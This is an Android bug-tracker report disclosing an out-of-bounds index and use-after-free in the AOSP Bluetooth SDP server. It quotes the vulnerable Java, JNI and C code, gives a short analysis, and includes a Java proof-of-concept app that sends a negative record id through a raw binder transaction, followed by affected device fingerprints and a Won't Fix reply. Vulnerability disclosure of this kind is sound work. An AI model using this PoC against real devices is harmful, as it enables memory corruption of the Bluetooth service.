DESCRIPTION xp...@gmail.com created issue #1

1. Source Code

/packages/apps/Bluetooth/src/com/android/bluetooth/sdp/SdpManager.java:

```
653   public boolean removeSdpRecord(int recordId){
654       if(sNativeAvailable == false) {
655           throw new RuntimeException(TAG + " sNativeAvailable == false - native not initialized");
656       }
657       return sdpRemoveSdpRecordNative(recordId);
658   }
```

/packages/apps/Bluetooth/jni/com_android_bluetooth_sdp.cpp:

```
521static jboolean sdpRemoveSdpRecordNative(JNIEnv *env, jobject obj, jint record_id) {
522   ALOGD("%s:",__FUNCTION__);
523
524   int ret = 0;
525   if (!sBluetoothSdpInterface) return false;
526
527   if ( (ret = sBluetoothSdpInterface->remove_sdp_record(record_id))
528           != BT_STATUS_SUCCESS) {
529       ALOGE("SDP Remove record failed: %d", ret);
530       return false;
531   }
532
533   ALOGD("SDP Remove record success - handle: %d", record_id);
534   return true;
535}
```

/system/bt/btif/src/btif_sdp_server.c:

```
291bt_status_t remove_sdp_record(int record_id) {
292   int handle;
293
294   /* Get the Record handle, and free the slot */
295   handle = free_sdp_slot(record_id);
296   BTIF_TRACE_DEBUG("Sdp Server %s id=%d to handle=0x%08x",
297           __FUNCTION__, record_id, handle);
298
299   /* Pass the actual record handle */
300   if(handle > 0) {
301       BTA_SdpRemoveRecordByUser((void*) handle);
302       return BT_STATUS_SUCCESS;
303   }
304   BTIF_TRACE_DEBUG("Sdp Server %s - record already removed - or never created", __FUNCTION__);
305   return BT_STATUS_FAIL;
306}

214static int free_sdp_slot(int id) {
215   int handle = -1;
216   bluetooth_sdp_record* record = NULL;
217   if(id >= MAX_SDP_SLOTS) {
218       APPL_TRACE_ERROR("%s() failed - id %d is invalid", __func__, id);
219       return handle;
220   }
221   pthread_mutex_lock(&sdp_lock);
222   handle = sdp_slots[id].sdp_handle;
223   sdp_slots[id].sdp_handle = 0;
224   if(sdp_slots[id].state != SDP_RECORD_FREE)
225   {
226       /* safe a copy of the pointer, and free after unlock() */
227       record = sdp_slots[id].record_data;
228   }
229   sdp_slots[id].state = SDP_RECORD_FREE;
230   pthread_mutex_unlock(&sdp_lock);
231
232   if(record != NULL) {
233       osi_free(record);
234   } else {
235       // Record have already been freed
236       handle = -1;
237   }
```

```
238    return handle;
239}
```

2. Analysis
In free_sdp_slot(), the condition in Line 217 will pass when id < 0, which will cause an array overflow vulnerability. And in 233, a UAF vulnerability can be exploited.

3. POC

```
package com.example.xp4523.aosp;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        poc(this);
    }

    public static IBinder myBinder;
    public void poc(Context context) {
        Intent intent = new Intent();
        intent.setClassName("com.android.bluetooth", "com.android.bluetooth.btservice.AdapterService");
        context.bindService(intent, AUV20, Context.BIND_AUTO_CREATE);
    }
    public static ServiceConnection AUV20 = new ServiceConnection() {
        public void onServiceConnected(ComponentName name, IBinder service) {
            Log.e("xx", "connect");
            int TRANSACTION_removeSdpRecord = 35;
            myBinder = service;
            try {
                Parcel parcel = Parcel.obtain();
                Parcel reply = Parcel.obtain();
                parcel.writeInterfaceToken(myBinder.getInterfaceDescriptor());
                parcel.writeInt(-0x10000);
                myBinder.transact(TRANSACTION_removeSdpRecord, parcel, reply, 0);
                reply.recycle();
                parcel.recycle();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            myBinder = null;
        }
    };
}
```

4. fingerprint
360/QK1605/QK1605:6.0.1/MMB29M/6.0.092.P2.170328.QK1605:user/release-keys
htc/hiaetuhl_01405/htc_hiaetuhl:6.0/MRA58K/660257.12:user/release-keys
SMARTISAN/surabaya/surabaya:6.0.1/MXB48T/139:user/release-keys

deleted
0 B

✓ Links (1)

"... to address the issue reported, however our product team has shifted work priority that doesn't include this issue. For now, we will be closing the issue as won't fix obsolete. If this issue currently sti

COMMENTS

sa...@google.com <sa...@google.com> #2

Status: Won't Fix (Obsolete)

Thank you for your feedback. We assure you that we are doing our best to address the issue reported, however our product team has shifted work priority that doesn't include this issue. For r